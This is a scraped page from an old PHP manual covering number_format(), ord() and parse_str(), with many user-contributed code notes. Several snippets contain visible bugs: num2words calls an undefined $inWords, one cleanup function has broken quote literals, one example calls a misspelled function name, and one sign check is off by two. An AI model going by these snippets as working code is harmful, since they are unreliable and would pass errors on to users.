   $formatted_input = makecomma($length).",".substr($input,-2);
   return $formatted_input;
}

function formatInIndianStyle($num){
   // This is my function
   $pos = strpos((string)$num, ".");
   if ($pos === false) { $decimalpart="00";}
   else { $decimalpart= substr($num, $pos+1, 2); $num = substr($num,0,$pos); }

   if(strlen($num)>3 & strlen($num) <= 12){
               $last3digits = substr($num, -3 );
               $numexceptlastdigits = substr($num, 0, -3 );
               $formatted = makecomma($numexceptlastdigits);
               $stringtoreturn = $formatted.",".$last3digits.".".$decimalpart ;
   }elseif(strlen($num)<=3){
               $stringtoreturn = $num.".".$decimalpart ;
   }elseif(strlen($num)>12){
               $stringtoreturn = number_format($num, 2);
   }

   if(substr($stringtoreturn,0,2)=="-,"){$stringtoreturn = "-".substr($stringtoreturn,2 );}

   return $stringtoreturn;
}

$num = 1234567;
echo  formatInIndianStyle($num);

?>
armstrong ~~at~~ rice ~~dot~~ edu
23-Feb-2004 08:33
I submitted this question earlier, but I found the answer myself.  To convert a number to its word form (e.g. 34 to "thirty four")  try the function below.  It turned out to be a lot more complex than I thought!

I'm using it for printing dollar ammounts, so the cents get printed like 13/100

I converted most of it from this java code http://mindprod.com/inwords.html so credit goes to him for doing the hard part.

<?
/**
* convert long integer into American English words.
* e.g. -12345 -> "minus twelve thousand forty-five"
* Handles negative and positive integers
* on range -Long.MAX_VALUE .. Long.MAX_VALUE;
* It cannot handle Long.MIN_VALUE;
*/

function num2words( $num ){
   $ZERO = "zero";
   $MINUS = "minus";
   $lowName = array(
         /* zero is shown as "" since it is never used in combined forms */
         /* 0 .. 19 */
         "", "one", "two", "three", "four", "five",
         "six", "seven", "eight", "nine", "ten",
         "eleven", "twelve", "thirteen", "fourteen", "fifteen",
         "sixteen", "seventeen", "eighteen", "nineteen");

   $tys = array(
         /* 0, 10, 20, 30 ... 90 */
         "", "", "twenty", "thirty", "forty", "fifty",
         "sixty", "seventy", "eighty", "ninety");

   $groupName = array(
         /* We only need up to a quintillion, since a long is about 9 * 10 ^ 18 */
         /* American: unit, hundred, thousand, million, billion, trillion, quadrillion, quintillion */
         "", "hundred", "thousand", "million", "billion",
         "trillion", "quadrillion", "quintillion");

   $divisor = array(
         /* How many of this group is needed to form one of the succeeding group. */
         /* American: unit, hundred, thousand, million, billion, trillion, quadrillion, quintillion */
         100, 10, 1000, 1000, 1000, 1000, 1000, 1000) ;

   $num = str_replace(",","",$num);
   $num = number_format($num,2,'.','');
   $cents = substr($num,strlen($num)-2,strlen($num)-1);
   $num = (int)$num;

   $s = "";

   if ( $num == 0 ) $s = $ZERO;
   $negative = ($num < 0 );
   if ( $negative ) $num = -$num;

   // Work least significant digit to most, right to left.
   // until high order part is all 0s.
   for ( $i=0; $num>0; $i++ ) {
       $remdr = (int)($num % $divisor[$i]);
       $num = $num / $divisor[$i];
       // check for 1100 .. 1999, 2100..2999, ... 5200..5999
       // but not 1000..1099,  2000..2099, ...
       // Special case written as fifty-nine hundred.
       // e.g. thousands digit is 1..5 and hundreds digit is 1..9
       // Only when no further higher order.
       if ( $i == 1 /* doing hundreds */ && 1 <= $num && $num <= 5 ){
           if ( $remdr > 0 ){
               $remdr += $num * 10;
               $num = 0;
           } // end if
       } // end if
       if ( $remdr == 0 ){
           continue;
       }
       $t = "";
       if ( $remdr < 20 ){
           $t = $lowName[$remdr];
       }
       else if ( $remdr < 100 ){
           $units = (int)$remdr % 10;
           $tens = (int)$remdr / 10;
           $t = $tys [$tens];
           if ( $units != 0 ){
               $t .= "-" . $lowName[$units];
           }
       }else {
           $t = $inWords($remdr);
       }
       $s = $t . " " . $groupName[$i] . " "  . $s;
       $num = (int)$num;
   } // end for
   $s = trim($s);
   if ( $negative ){
       $s = $MINUS . " " . $s;
   }

   $s .= " and $cents/100";

   return $s;
} // end inWords

?>
cruzf_AT_fibertel.com.ar
08-Nov-2003 03:03
You could add padding zeros like this:

<?
$number="129";
$number=sprintf("%08d",$number);
?>
j dot bos at bytewriters dot nl
02-Jun-2003 03:45
If I'm not mistaking all these examples of adding leading zeros will not really work with floats. Sometimes though one needs it to have it working with floats as well.

With the function below use 2, 3 or 5 parameters. Don't ask me why 4 don't work, the number_format() function seems to have problems with that. At least my version of PHP has that "feature".

function leading_zero( $aNumber, $intPart, $floatPart=NULL, $dec_point=NULL, $thousands_sep=NULL) {        //Note: The $thousands_sep has no real function because it will be "disturbed" by plain leading zeros -> the main goal of the function
  $formattedNumber = $aNumber;
  if (!is_null($floatPart)) {    //without 3rd parameters the "float part" of the float shouldn't be touched
   $formattedNumber = number_format($formattedNumber, $floatPart, $dec_point, $thousands_sep);
   }
  //if ($intPart > floor(log10($formattedNumber)))
   $formattedNumber = str_repeat("0",($intPart + -1 - floor(log10($formattedNumber)))).$formattedNumber;
  return $formattedNumber;
  }

echo leading_zero(21.12345678, 4, 5);    // Output: 0021.12346
echo leading_zero(21.12345678, 4);    // Output: 0021.12345678
echo leading_zero(21.12345678, 3, 0); // Output: 021
echo leading_zero(21.12345678, 3, 5, ",", ""); // Output: 021,12346

addition: Just like the number_format I haven't found a way *not* to round a number while changing the decimal point and the thousands seperator.
sgj at dr dot com
18-May-2003 09:04
Just an observation:
The number_format rounds the value of the variable.

$val1 = 1.233;
$val2 = 1.235;
$val3 = 1.237;

echo number_format($val1,2,",","."); // returns: 1,23
echo number_format($val2,2,",","."); // returns: 1,24
echo number_format($val3,2,",","."); // returns: 1,24
Theo Diem
25-Mar-2003 05:45
formatting numbers may be more easy if u use number_format function.

I also wrote this :
function something($number)
{
   $locale = localeconv();
   return number_format($number,
       $locale['frac_digits'],
       $locale['decimal_point'],
       $locale['thousands_sep']);
}

hope this helps =)
[]'s
andrew at crucible dot co dot nz
05-Jan-2002 08:56
Remember that number_format returns a string, so you shouldn't run a number_format on a variable that's already a product of number_format (it will only take the first token of the string)...

eg. echo number_format("123,456.00", 2);
produces: 123.00
sctemplarknight at hotmail dot com
12-Dec-2001 05:27
number_format($number,$precision,".","") should be used when setting the value of form elements because if you read the number into a double upon submission, it will only store digits before the comma.
<p>
ie. <input type="text" value="<?php echo(number_format(2.5343,2,".","")">
add a note add a note

后退 | 起点 | 前进
nl2br | 上一级 | ord


ord

(PHP 3, PHP 4, PHP 5)

ord -- Return ASCII value of character

Description

int ord ( string string )

Returns the ASCII value of the first character of string. This function complements chr().

例子 1. ord() example

<?php
$str = "\n";
if (ord($str) == 10) {
    echo "The first character of \$str is a line feed.\n";
}
?>

You can find an ASCII-table over here: http://www.asciitable.com.

See also chr().

add a note add a note User Contributed Notes
erdem at a1tradenetwork dot com
17-May-2006 02:16
I have a new characters table. i want send it below that.

<?php
$color = "#f1f1f1";
echo "<center>";
echo "<h1>From 32 To 255 Characters Table</h1>";
echo "</center>";
echo "<table border=\"0\" style=\"font-family:verdana;font-size:11px;\"".
     " align=\"center\" width=\"800\"><tr style=\"font-weight:bold;\"  ".
     "bgcolor=\"#99cccc\">".
     "<td width=\"15\">DEC</td><td width=\"15\">OCT</td>".
     "<td width=\"15\">HEX</td><td width=\"15\">CHR</td>".

     "<td width=\"15\">DEC</td><td width=\"15\">OCT</td>".
     "<td width=\"15\">HEX</td><td width=\"15\">CHR</td>".

     "<td width=\"15\">DEC</td><td width=\"15\">OCT</td>".
     "<td width=\"15\">HEX</td><td width=\"15\">CHR</td>".

     "<td width=\"15\">DEC</td><td width=\"15\">OCT</td>".
     "<td width=\"15\">HEX</td><td width=\"15\">CHR</td>".

     "<td width=\"15\">DEC</td><td width=\"15\">OCT</td>".
     "<td width=\"15\">HEX</td><td width=\"15\">CHR</td>".

     "<td width=\"15\">DEC</td><td width=\"15\">OCT</td>".
     "<td width=\"15\">HEX</td><td width=\"15\">CHR</td>".

     "</tr><tr>";
$ii = 0;
for ($i=32;$i<=255;$i++){
   $char = chr($i);
   $dec  = ord($char);
   if ($i == "32") {
       $char = "Space";
   }
   echo "<td style=\"background-color:$color;width:15px;\">".
         $dec."</td>\n<td style=\"background-color:$color;".
         "width:15px;text-align:left;\">".decoct($dec)."</td>\n".
         "<td style=\"background-color:$color;width:15px;".
         "text-align:left;\">".dechex($dec)."</td>\n ".
         "<td style=\"background-color:$color;width:15px;".
         "text-align:left;\"><b>".$char."</b></td>\n ";

   if (($ii % 6) == 5) {
   echo "</tr>\n<tr>\n";

   }

   if (($ii % 2) == 1) {
         $color = "#f1f1f1";
   }else {
         $color = "#ffffcc";
   }

   $ii++;
}
echo "</tr></table>";
?>
daniel vorhauer
11-Nov-2005 04:19
i was happy to find matthews function for replacing those nasty word copy-n-paste characters, but i did have problems using it, since it is not very performant, when it comes to cleaning large amounts of text.

therefore i implemented this function as a replacement, which basically does the same job, but only uses one call to preg_replace - for whom it may concern :)

note: the \xnn values are hex-values of the according ascii-codes, the following implementation matched my needs - feel free to correct me

function clean_string_input($input)
{
   $search = array(
       '/[\x60\x82\x91\x92\xb4\xb8]/i',            // single quotes
       '/[\x84\x93\x94]/i',                        // double quotes
       '/[\x85]/i',                                // ellipsis ...
       '/[\x00-\x0d\x0b\x0c\x0e-\x1f\x7f-\x9f]/i'    // all other non-ascii
   );
   $replace = array(
       '\'',
       '"',
       '...',
       ''
   );
   return preg_replace($search,$replace,$input);
}
Matthew Flint
31-Oct-2005 06:59
I wrote the following function to clean illegal characters from input strings.

(Background: I have a php-based news website. People were writing articles in MS Word, then copy-and-pasting the text into the website. Word uses non-standard characters for opening and closing quotes and double-quotes, and for "..." - and this was resulting in articles on the website that failed XHTML validation)

<?php
function clean_string_input($input)
{
   $interim = strip_tags($input);

   if(get_magic_quotes_gpc())
   {
       $interim=stripslashes($interim);
   }

   // now check for pure ASCII input
   // special characters that might appear here:
   //  96: opening single quote (not strictly illegal, but substitute anyway)
   //  145: opening single quote
   //  146: closing single quote
   //  147: opening double quote
   //  148: closing double quote
   //  133: ellipsis (...)
   //  163: pound sign (this is safe, so no substitution required)
   // these can be substituted for safe equivalents
   $result = '';
   for ($i=0; $i<strlen($interim); $i++)
   {
       $char = $interim{$i};
       $asciivalue = ord($char);
       if ($asciivalue == 96)
       {
           $result .= '\\'';
       }
       else if (($asciivalue > 31 && $asciivalue < 127) ||
                 ($asciivalue == 163) || // pound sign
                 ($asciivalue == 10) || // lf
                 ($asciivalue == 13)) // cr
       {
           // it's already safe ASCII
           $result .= $char;
       }
       else if ($asciivalue == 145) // opening single quote
       {
           $result .= '\\'';
       }
       else if ($asciivalue == 146) // closing single quote
       {
           $result .= ''';
       }
       else if ($asciivalue == 147) // opening double quote
       {
           $result .= '"';
       }
       else if ($asciivalue == 148) // closing double quote
       {
           $result .= '"';
       }
       else if ($asciivalue == 133) // ellipsis
       {
           $result .= '...';
       }
   }

   return $result;
}
?>
zhangweiwu at realss dot com
25-Aug-2005 02:07
For getting UTF16 value of Chinese ideographs:

PLEASE ALWAYS use the uniord() ng4rrjanbiah at rediffmail dot com (#46267) but do not use #42778's method.

native mbstring has problem with Chinese charset. For simplified Chinese it only (afaik) can deal with characters with GB2312 charset, that means a lot of person names will fail.

for example, if you pass U+97E1  to uniord as provided by #42778 you will get value is 'E1', this is incorrect. the '97' part is ignored by mbstring when doing conversion.

another suggestion is never use mb_convert_encoding for simplified Chinese at all. Use iconv instead. I am the one in greater trouble with it because my own name gets lots everytime mbstring wishing to convert something.
Nguyen Van Nhu
11-Aug-2005 08:17
A function to convert a unicode-string to ascii-string of the Vietnamese langague, according to The VIQR Convention (http://www.vietstd.org/). If you have the same kind of convention just create the arrays. Contents of my arrays were to large to post here.

//ascii-sign-characters
$mapsigns2 =Array("sign");

//ascii-sign-characters
$mapsigns1 =Array("sign");

//ascii-letters-characters
$mapascii =Array("letters");

//unicode characters
$mapunicode = Array("unicode");

function uniword2ascii($str)
{
global $mapsigns1, $mapsigns2,$mapunicode, $mapascii;
   $length = strlen($str);
   $ReturnStr = "";
   for ($i=0; $i<$length; $i++)
       {
         $uniord = 0;
         if (ord($str{$i})>=0 && ord($str{$i})<=127)
           $uniord = ord($str{$i});
         elseif (ord($str{$i})>=192 && ord($str{$i})<=223)
               {
               $uniord = (ord($str{$i})-192)*64 + (ord($str{$i+1})-128);
           $i = $i+1;
             }
         elseif (ord($str{$i})>=224 && ord($str{$i})<=239)
             {
               $uniord = (ord($str{$i})-224)*4096 + (ord($str{$i+1})-128)*64 + (ord($str{$i+2})-128);
           $i = $i+2;
             }
         elseif (ord($str{$i})>=240 && ord($str{$i})<=247)
             {
               $uniord = (ord($str{$i})-240)*262144 + (ord($str{$i+1})-128)*4096 + (ord($str{$i+2})-128)*64 + (ord($str{$i+3})-128);
             $i = $i+3;
           }
         elseif (ord($str{$i})>=248 && ord($str{$i})<=251)
               {
               $uniord = (ord($str{$i})-248)*16777216 + (ord($str{$i+1})-128)*262144 + (ord($str{$i+2})-128)*4096 + (ord($str{$i+3})-128)*64 + (ord($str{$i+4})-128);
             $i = $i+4;
           }
         elseif (ord($str{$i})>=252 && ord($str{$i})<=253)
             {
               $uniord = (ord($str{$i})-252)*1073741824 + (ord($str{$i+1})-128)*16777216 + (ord($str{$i+2})-128)*262144 + (ord($str{$i+3})-128)*4096 + (ord($str{$i+4})-128)*64 + (ord($str{$i+5})-128);
             $i = $i+5;
           }
         elseif (ord($str{$i})>=254 && ord($str{$i})<=255) //error
           $uniord = 0;
//This part is for converting the string to a VIQR-string;
         if ($uniord > 127 )
             {
           $key = array_search($uniord,$mapunicode);
           if ($key)
               {
               $ReturnStr .= chr($mapascii[$key]) . chr($mapsigns1[$key]) . chr($mapsigns2[$key]);
               }
           else
               {
               $ReturnStr .= chr($uniord);
               }
           }
       else
           {
           $ReturnStr .= chr($uniord);
           }
         //endOFfor
         }
 return $ReturnStr;
}

Best regards/Nguyen Van Nhu
Siegert Naber
23-Mar-2005 09:08
The email-encoding function, a little extended:

# $strEmail. The E-mail address to encode.
# $strDisplay. What will be displayed in the browser. If omitted it takes the e-mail address as it's value.
# $blnCreateLink. Set to true to creates a link. Set to false (and omit $strDisplay) just displays the e-mail address.

function asciiEncodeEmail($strEmail,$strDisplay,$blnCreateLink) {
   $strMailto = "&#109;&#097;&#105;&#108;&#116;&#111;&#058;";
   for ($i=0; $i < strlen($strEmail); $i++) {
       $strEncodedEmail .= "&#".ord(substr($strEmail,$i)).";";
   }
   if(strlen(trim($strDisplay))>0) {
       $strDisplay = $strDisplay;
   }
   else {
       $strDisplay = $strEncodedEmail;
   }
   if($blnCreateLink) {
       return "<a href=\"".$strMailto.$strEncodedEmail."\">".$strDisplay."</a>";
   }
   else {
       return $strDisplay;
   }
}

#examples:
echo asciiEncodeEmail("yourname@yourdomain.com","Your Name",true);
echo "<br />"
echo asciiEncodeEmail("yourname@yourdomain.com","",true);
echo "<br />"
echo asciiEncodeEmail("yourname@yourdomain.com","",false);
skissane at gmail dot com
08-Mar-2005 11:16
Contrary to what jacobfri says below, ord does not use any particular character encoding. It simply converts bytes from a string type to the corresponding integer. These bytes could be characters in ASCII, or some other 7/8-bit code (e.g. ISO-8859-1), or bytes making up characters in some multibyte code (e.g. UTF-8). It all depends on what character encoding your application is using.
01-Mar-2005 10:12
Function using ord() to strip out garbage characters and punctuation from a string. This is handy when trying to be smart about what an input is "trying" to be..
<?

function cleanstr($string){
   $len = strlen($string);
   for($a=0; $a<$len; $a++){
       $p = ord($string[$a]);
       # chr(32) is space, it is preserved..
       (($p > 64 && $p < 123) || $p == 32) ? $ret .= $string[$a] : $ret .= "";
   }
   return $ret;
}

?>
ng4rrjanbiah at rediffmail dot com
05-Oct-2004 04:01
[Fixed a bug in my previous note; ord() is missing in first condition]

uniord() function like "v0rbiz at yahoo dot com" (Note# 42778), but without using mbstring extension. Note: If the passed character is not valid, it may throw "Uninitialized string offset" notice (may set the error reporting to 0).

<?php
/**
 * @Algorithm: http://www1.tip.nl/~t876506/utf8tbl.html
 * @Logic: UTF-8 to Unicode conversion
 **/
function uniord($c)
{
  $ud = 0;
  if (ord($c{0})>=0 && ord($c{0})<=127)
   $ud = ord($c{0});
  if (ord($c{0})>=192 && ord($c{0})<=223)
   $ud = (ord($c{0})-192)*64 + (ord($c{1})-128);
  if (ord($c{0})>=224 && ord($c{0})<=239)
   $ud = (ord($c{0})-224)*4096 + (ord($c{1})-128)*64 + (ord($c{2})-128);
  if (ord($c{0})>=240 && ord($c{0})<=247)
   $ud = (ord($c{0})-240)*262144 + (ord($c{1})-128)*4096 + (ord($c{2})-128)*64 + (ord($c{3})-128);
  if (ord($c{0})>=248 && ord($c{0})<=251)
   $ud = (ord($c{0})-248)*16777216 + (ord($c{1})-128)*262144 + (ord($c{2})-128)*4096 + (ord($c{3})-128)*64 + (ord($c{4})-128);
  if (ord($c{0})>=252 && ord($c{0})<=253)
   $ud = (ord($c{0})-252)*1073741824 + (ord($c{1})-128)*16777216 + (ord($c{2})-128)*262144 + (ord($c{3})-128)*4096 + (ord($c{4})-128)*64 + (ord($c{5})-128);
  if (ord($c{0})>=254 && ord($c{0})<=255) //error
   $ud = false;
 return $ud;
}

//debug
echo uniord('A'); //65
echo uniord("\xe0\xae\xb4"); //2996
?>

HTH,
R. Rajesh Jeba Anbiah
ng4rrjanbiah at rediffmail dot com
01-Jul-2004 07:26
uniord() function like "v0rbiz at yahoo dot com" (Note# 42778), but without using mbstring

<?php
/**
 * @Algorithm http://www1.tip.nl/~t876506/utf8tbl.html
 * @Logic UTF-8 to Unicode conversion
 **/
function uniord($c)
{
  $ud = 0;
  if (ord($c{0})>=0 && ord($c{0})<=127)
   $ud = $c{0};
  if (ord($c{0})>=192 && ord($c{0})<=223)
   $ud = (ord($c{0})-192)*64 + (ord($c{1})-128);
  if (ord($c{0})>=224 && ord($c{0})<=239)
   $ud = (ord($c{0})-224)*4096 + (ord($c{1})-128)*64 + (ord($c{2})-128);
  if (ord($c{0})>=240 && ord($c{0})<=247)
   $ud = (ord($c{0})-240)*262144 + (ord($c{1})-128)*4096 + (ord($c{2})-128)*64 + (ord($c{3})-128);
  if (ord($c{0})>=248 && ord($c{0})<=251)
   $ud = (ord($c{0})-248)*16777216 + (ord($c{1})-128)*262144 + (ord($c{2})-128)*4096 + (ord($c{3})-128)*64 + (ord($c{4})-128);
  if (ord($c{0})>=252 && ord($c{0})<=253)
   $ud = (ord($c{0})-252)*1073741824 + (ord($c{1})-128)*16777216 + (ord($c{2})-128)*262144 + (ord($c{3})-128)*4096 + (ord($c{4})-128)*64 + (ord($c{5})-128);
  if (ord($c{0})>=254 && ord($c{0})<=255) //error
   $ud = false;
 return $ud;
}
?>

HTH,
R. Rajesh Jeba Anbiah
bisqwit at iki dot fi
18-Jun-2004 11:23
In reply to jacobfri, the range 128-255 equals to whatever character set you are using.
Try toying with header('Content-type: text/html; charset=iso-8859-1'); and replacing that iso-8859-1 with values like cp850, and suddenly your bytes might start looking surprisingly similar to the ones at www.asciitable.com.
Strings don't store glyphs. They only store bytes. It's the matter of your UA/terminal of deciding what alphabets those bytes are made to look like.
That's where the character set/encoding steps in.
jacobfri at skydebanen dot net
04-Jun-2004 08:10
Just to get things straight about which character table ord() and chr() uses.
The range 128-255 is _not_ equivalent with the widely used extended ASCII-table, like the one described in www.asciitable.com. The actual equivalent is the 128-255 range of Unicode.
That's a good thing, because then ord() and chr() is compatible with javascript, and any other language that uses Unicode.
But it's rather nice to know it, and the description of ord() is kind of misleading, when it only refers to www.asciitable.com.
v0rbiz at yahoo dot com
29-May-2004 07:15
I did not found a unicode/multibyte capable 'ord' function, so...

function uniord($u) {
   $k = mb_convert_encoding($u, 'UCS-2LE', 'UTF-8');
   $k1 = ord(substr($k, 0, 1));
   $k2 = ord(substr($k, 1, 1));
   return $k2 * 256 + $k1;
}
merwetta_at_hotmail.com
18-Aug-2002 12:01
In the notes for bin2hex, there is a function for hex encoding an email address in a "mailto" tag to avoid spam bots. The hex encoding works in the anchor tag itself, but not for the link text. To display the email address as the link text, you can use the function below to ascii encode the address and keep the spam bots at bay.

function ascii_encode($string)  {
   for ($i=0; $i < strlen($string); $i++)  {
       $encoded .= '&#'.ord(substr($string,$i)).';';
   }
   return $encoded;
}
adam at adeptsoftware dot com
17-Jun-2002 12:05
The above comment about bindec is wrong, I think.  bindec accepts a string containing a binary number, not a "binary string" - right?
We need to clean up this terminology.

If you just want to extract a dword/long int from a binary string, this is more accurate (intel endian):

$Number = ord($Buffer{0}) | (ord($Buffer{1})<<8) | (ord($Buffer{2})<<16) | (ord($Buffer{3})<<24);
carl at nospam dot thep dot lu dot se
17-Aug-2001 03:06
If you find that you use this function a lot you really out to consider doing whatever you're doing in C instead. :-)
At least it takes more effort to type "ord($var)-ord('a')" than "var - 'a'".
But hey, you can't get everything you wish for, and at least PHP script very seldom manage to segfault. :-D
theanimus at btconnect dot com
07-Jul-2001 02:01
[Ed: bindec() does this for you... it only doesn't get the sign-bit. Your solution will result in a float with the sign is set!
http://www.php.net/bindec
--jeroen ]

Erm this one took me a while to work out, in the end a friend told me, if ur working out the value of an 32bit integer ($data) then this is 4 u ;-)

$num=ord($data[0])+(ord($data[1])<<8)+(ord($data[2])<<16)+(ord($data[3])<<24);
if ($num>=4294967294){
$num-=4294967296;
}
add a note add a note

后退 | 起点 | 前进
number_format | 上一级 | parse_str


parse_str

(PHP 3, PHP 4, PHP 5)

parse_str -- Parses the string into variables

Description

void parse_str ( string str [, array &arr] )

Parses str as if it were the query string passed via a URL and sets variables in the current scope. If the second parameter arr is present, variables are stored in this variable as array elements instead.

注: Support for the optional second parameter was added in PHP 4.0.3.

注: To get the current QUERY_STRING, you may use the variable $_SERVER['QUERY_STRING']. Also, you may want to read the section on variables from outside of PHP.

注: The magic_quotes_gpc setting affects the output of this function, as parse_str() uses the same mechanism that PHP uses to populate the $_GET, $_POST, etc. variables.

例子 1. Using parse_str()

<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";
parse_str($str);
echo $first;  // value
echo $arr[0]; // foo bar
echo $arr[1]; // baz

parse_str($str, $output);
echo $output['first'];  // value
echo $output['arr'][0]; // foo bar
echo $output['arr'][1]; // baz

?>

See also parse_url(), pathinfo(), get_magic_quotes_gpc(), and urldecode().

add a note add a note User Contributed Notes
motin at demomusic dot nu
15-Apr-2006 09:13
When you have scripts run through the command-line (like locally via cron), you might want to be able to use _GET and _POST vars. Put this in top of your scheduled task files:

<?
   parse_str ($_SERVER['argv'][1], $GLOBALS['_GET']);
   parse_str ($_SERVER['argv'][2], $GLOBALS['_POST']);
?>

And call your script by:

/usr/local/bin/php /path/to/script.php "id=45&action=delete" "formsubmitted=true"

Cheers!
avi at amarcus dot com
04-Sep-2005 09:32
If you are trying to preserve a complex array, the function serialize might be better than http_build_query or other methods of making a query string.
ET
01-Sep-2005 06:14
In reply to what kerosuppi posted:

[quote]This does not work as expected.[/quote]
No, it works exactly as expected.

The call <?php parse_str($this->query_string);?>  "sets variables in the current scope" (just like said in the manual).

You are using this call in the constructor. Once the constructor is finished, the scope of this function has ended so it's logical that you can't access the variables anymore.

Your workaround though is a good one.

Hope this helps,
ET
Tore Bjlseth
29-Jun-2005 08:59
As of PHP 5, you can do the exact opposite with http_build_query(). Just remember to use the optional array output parameter.

This is a very useful combination if you want to re-use a search string url, but also slightly modify it:

Example:
<?
$url1 = "action=search&interest[]=sports&interest[]=music&sort=id";
$str = parse_str($url1, $output);

// Modifying criteria:
$output['sort'] = "interest";

$url2 = http_build_query($output);

echo "<br>url1: ".$url1;
echo "<br>url2: ".$url2;
?>

Results in:
url1: action=search&interest[]=sports&interest[]=music&sort=id
url2: action=search&interest[0]=sports&interest[1]=music&sort=interest

(Array indexes are automatically created.)
vargasangelo_1990 at hotmail dot com
20-Jun-2005 02:46
this can be another option for STR PARSING and use it as a $_GET variable.
<?php
$str= "op=downloads&id=1&details=1";
function parse_to_get($str=false){
   if($REQUEST_URI==$str): $ex = explode("/".$PHP_SELF."?", $str); $str = $ex[1]; endif;
   if($str):
       $a = explode("&", $str);
       foreach($a as $e){
           if($e):
               list($k,$v)=explode("=", $e);
               $_GET[$k]=$v;
           endif;
       }
   endif;
   extract($_GET);
}
parse_top_get("index.php?page=info&name=jonh&id=4245&app=server");

?>
:)

//Trukin
kerosuppi
30-May-2005 12:22
This does not work as expected.

<?php
class someclass
{
   var $query_string;
   function someclass($a_query_string)
   {
       $this->query_string = $a_query_string;
       parse_str($this->query_string);
   }
   function output()
   {
       echo $this->action;
   }
}

$a_class = new someclass("action=go");
$a_class->output();
?>

Use this instead.

<?php
class someclass
{
   var $arr;
   function someclass($a_query_string)
   {
       parse_str($a_query_string, $this->arr);
   }
   function output()
   {
       echo $this->arr['action'];
   }
}

$a_class = new someclass("action=go");
$a_class->output();
?>
mortoray at ecircle-ag dot com
25-May-2005 03:18
In Kent's solution you may wish to switch "urldecode" into "rawurldecode" if you'd like to get rid of the [annoying] plus '+' converted to space ' ' translation.
kent at nospam dot ioflux dot com
06-May-2005 11:13
You may want to parse the query string into an array.

<?php
/**
 * Similar to parse_str. Returns false if the query string or URL is empty. Because we're not parsing to
 * variables but to array key entries, this function will handle ?[]=1&[]=2 "correctly."
 *
 * @return array Similar to the $_GET formatting that PHP does automagically.
 * @param string $url A query string or URL
 * @param boolean $qmark Find and strip out everything before the question mark in the string
*/
function parse_query_string($url, $qmark=true)
{
   if ($qmark) {
       $pos = strpos($url, "?");
       if ($pos !== false) {
           $url = substr($url, $pos + 1);
       }
   }
   if (empty($url))
       return false;
   $tokens = explode("&", $url);
   $urlVars = array();
   foreach ($tokens as $token) {
       $value = string_pair($token, "=", "");
       if (preg_match('/^([^\[]*)(\[.*\])$/', $token, $matches)) {
           parse_query_string_array($urlVars, $matches[1], $matches[2], $value);
       } else {
           $urlVars[urldecode($token)] = urldecode($value);
       }
   }
   return $urlVars;
}

/**
 * Utility function for parse_query_string. Given a result array, a starting key, and a set of keys formatted like "[a][b][c]"
 * and the final value, updates the result array with the correct PHP array keys.
 *
 * @return void
 * @param array $result A result array to populate from the query string
 * @param string $k The starting key to populate in $result
 * @param string $arrayKeys The key list to parse in the form "[][a][what%20ever]"
 * @param string $value The value to place at the destination array key
*/
function parse_query_string_array(&$result, $k, $arrayKeys, $value)
{
   if (!preg_match_all('/\[([^\]]*)\]/', $arrayKeys, $matches))
       return $value;
   if (!isset($result[$k])) {
       $result[urldecode($k)] = array();
   }
   $temp =& $result[$k];
   $last = urldecode(array_pop($matches[1]));
   foreach ($matches[1] as $k) {
       $k = urldecode($k);
       if ($k === "") {
           $temp[] = array();
           $temp =& $temp[count($temp)-1];
       } else if (!isset($temp[$k])) {
           $temp[$k] = array();
           $temp =& $temp[$k];
       }
   }
   if ($last === "") {
       $temp[] = $value;
   } else {
       $temp[urldecode($last)] = $value;
   }
}

/**
* Breaks a string into a pair for a common parsing function.
*
* The string passed in is truncated to the left half of the string pair, if any, and the right half, if anything, is returned.
*
* An example of using this would be:
* <code>
* $path = "Account.Balance";
* $field = string_pair($path);
*
* $path is "Account"
* $field is "Balance"
*
* $path = "Account";
* $field = string_pair($path);
*
* $path is "Account"
* $field is false
* </code>
*
* @return string The "right" portion of the string is returned if the delimiter is found.
* @param string $a A string to break into a pair. The "left" portion of the string is returned here if the delimiter is found.
* @param string $delim The characters used to delimit a string pair
* @param mixed $default The value to return if the delimiter is not found in the string
* @desc
*/
function string_pair(&$a, $delim='.', $default=false)
{
   $n = strpos($a, $delim);
   if ($n === false)
       return $default;
   $result = substr($a, $n+strlen($delim));
   $a = substr($a, 0, $n);
   return $result;
}

?>
11-Mar-2005 08:26
yet another simpler way to do the reverse this function.
<?php
   /* BSD LINCENSE */
   function build_str($query_array) {
       $query_string = array();
       foreach ($query_array as $k => $v) {
           $query_string[] = $k.'='.$v;
       }
       return join('&', $query_string);
   }

   // example of use
   // set  a query string
   $test_query = "a=b&c=d";
   // parse a string
   parse_str($test_query, $query_array);
   //print it
   print_r($query_array);

   // test the build_str function
   if ( build_str($query_array) == $test_query ) {
       echo "It works";
   } else {
       echo "It doesn't work";
   }

?>
nospam at fiderallalla dot de
03-Feb-2005 06:29
Maybe you need an opposite which works with arrays:

<?php
function query_str ($params) {
   if ( !is_array($params) || count($params) == 0 ) return false;
   $fga = func_get_args();
   $akey = ( !isset($fga[1]) ) ? false : $fga[1];
   static $out = Array();

   foreach ( $params as $key=>$val ) {
       if ( is_array($val) ) {
           query_str($val,$key);
           continue;
       }

       $thekey = ( !$akey ) ? $key : $akey.'['.$key.']';
       $out[] = $thekey."=".$val;
   }

   return implode("&",$out);
}
?>
anatilmizun at gmail dot com
13-Oct-2004 07:10
I wrote a pair of functions using parse_str() that will write values in an array to a textfile and vice versa, read those values from the textfile back into the array. Quite useful if you need to store lots of data but don't have access to SQL.

Save the array by calling cfg_save($filename,$array) and load it back using $array=cfg_load($filename)

<?php
$newline="";

function cfg_load($cfgfile){
   global $newline;
   $setting="";
   if(file_exists($cfgfile)){
       $setting=fopen($cfgfile, "r");
       $ookk="";
       while($ook=fgets($setting)){
           #strip comment
           $commt=strpos($ook,"##");
           if($commt!==false) $ook=substr($ook,0,$commt);
           #append
           if($ook!="") $ookk=$ookk."&".    str_replace($newline,"\n",str_replace("&","%26",trim($ook)));
       }
       fclose($setting);
       parse_str($ookk, $setting);
   }
   return $setting;
}

function cfg_save($cfgfile,$setting){
   global $intArray;
   $intArray="";
   for($i=0;$i<2000;$i++)
       $intArray[]=$i;
   if(is_array($setting)){
       $allkeys=array_keys($setting);
       foreach($allkeys as $aKey)
           cfg_recurse($setting[$aKey], $aKey, $outArray);
   }
   $cfgf=fopen($cfgfile,"w");
   foreach($outArray as $aLine)
       fputs($cfgf,stripslashes($aLine)."\r\n");
   fclose($cfgf);
}

function cfg_recurse($stuffIn, $keysofar, &$toAppend){
   global $intArray, $newline;
   if(is_array($stuffIn)){
